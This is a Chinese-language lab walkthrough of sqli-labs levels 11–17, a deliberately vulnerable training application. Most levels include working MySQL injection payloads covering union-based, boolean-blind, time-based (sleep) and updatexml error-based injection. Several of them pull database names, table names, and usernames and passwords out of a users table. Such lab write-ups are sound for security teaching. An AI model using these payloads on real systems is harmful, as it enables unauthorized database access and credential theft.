sqli-labs解题大法11~17

Less-11:
首先,进去页面之后发现是这样的sqli-labs解题大法11~17_第1张图片
随便输入了一个之后发现报错
sqli-labs解题大法11~17_第2张图片
可以看出来这是用post方法传递的,我试了几次之后发现由单引号闭合,于是用命令admin' or 1=1#,页面变化sqli-labs解题大法11~17_第3张图片
可以看出来有两个显示位,用1=2令页面错误,使用admin' or 1=2 order by 2#排序页面正常,admin' or 1=2 order by 3#页面返回错误,所以有两个字段。接下来就可以愉快的用union select 联合查询了,sqli-labs解题大法1~10——Less1中有详细步骤,在这里就简单说一下吧。
(1).用select grouop_concat(schema_name) from information_schema.schemata可以查询所有数据库名。
(2).用select database()查询出当前数据库名。
(3).用select group_concat(table_name) from information_schema.tables where table_schema='db_name'可以查询出所有数据表名。
(4).用select group_concat(column_name) from information_schema.columns where table_name='table_name' table_schema='db_name'可以查询出字段名。
(5).用

select group_concat(username) from db_name.table_name`,

select group_concat(password) from db_name.table_name,可以查询出所有用户名和密码了。

Less-12:
这个猜了好多次,最后发现是 ") 闭合的,接下来用联合查询,具体过程参考Less-11。

ad") or 1=2 union select (select database()),1#

Less-13:
单引号加括号闭合') ,没有显示位,没有报错信息,可以使用布尔盲注或者延时注入。

ad') or 1=1 and mid((select database()),1,1)='s'#
ad') or 1=1 and if(substr(database(),1,1)='s',1,sleep(5))#

Less-14:
双引号闭合",没有显示位和报错信息,用布尔或者延时注入。

ad" or 1=1 and mid((select database()),1,1)='s'#

Less-15:
单引号闭合',没有显示位和报错信息,用布尔或者延时注入。

ad' or 1=1 and mid((select database()),1,1)='s'#

Less-16:
双引号加括号闭合"),没有显示位和报错信息,用布尔或者延时注入。

ad") or 1=1 and mid((select database()),1,1)='s'#

Less-17:
这关进去之后发现上面有[PASSWORD RESET] ,向着用户名里注入之后就发现了这个打脸的报错信息:
滚开你这个愚蠢的黑客!!

sqli-labs解题大法11~17_第4张图片
后来不管在username里面输入什么都是这条信息,最后没办法还是去看源码。
sqli-labs解题大法11~17_第5张图片
在这里我们可以看到,源码中对于value进行了过滤:
(1).如果值为空,就截取它的15个字符;
(2).若php环境变量magic_quotes_gpc打开,去除转义的反斜杠\;
(3).若value变量不是数字,将其中特殊字符转义;为数字则将其转为数字类型。
这些函数具体会再补一篇blog出来,大家先在这里简单了解一下。
通过这三次过滤,在username里面我已经不知道怎么进行注入了,所以咱们来看password,发现password并没有这些乱七八糟的过滤,这样一来,我们必须要先输入正确的用户名,然后再从password里面进行注入。
使用updatexml函数。
(·)。updatexml()函数是MySQL对xml文档数据进行查询和修改的xpath函数
(·)。updatexml(xml_target,xpath_expr,new_xml)
(·)。xml_target :原来的xml,也就是要替换的目标;
(·)。xpath_expr :xpath的表达式;
(·)。new_xml :替换后的xml;
(·)。这一段的意思就是,用new_xml把xml_target中包含xpath_expr的部分节点(包括xml_target)替换掉。
在注入时,' or updatexml(1,concat('#',(Clause)),1)#
这时,Clause就是我们需要用到的子句了。
首先,我们来查找数据库名:a' or updatexml(1,concat('#',(select database())),1)#
sqli-labs解题大法11~17_第6张图片
查询表名:a' or updatexml(1,concat('#',(select group_concat(table_name) from information_schema.tables where table_schema='security')),1)#
在这里插入图片描述
查询字段名:a' or updatexml(1,concat('#',(select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='security')),1)#
在这里插入图片描述
错误: 查询数据时,并不能直接用简单的select concat(username),这样会引起报错,
在这里插入图片描述
错误原因: 在同一个语句中,不能先查询表中的值再update这个表,可以先把查询出的值作为一个派生表,然后在这个派生表里面再次进行查询。

查询数据:

a' or updatexml(1,concat('#',(select * from (select concat_ws
(' ',id,username,password) from users limit 0,1) a)),1)#

//concat_ws()函数与concat()函数类似,只不过在每个数据间多了分隔符。
在这里插入图片描述
之后,通过不断修改limit的值就可以查询出所有数据了。

你可能感兴趣的:(sql注入,sqli-labs)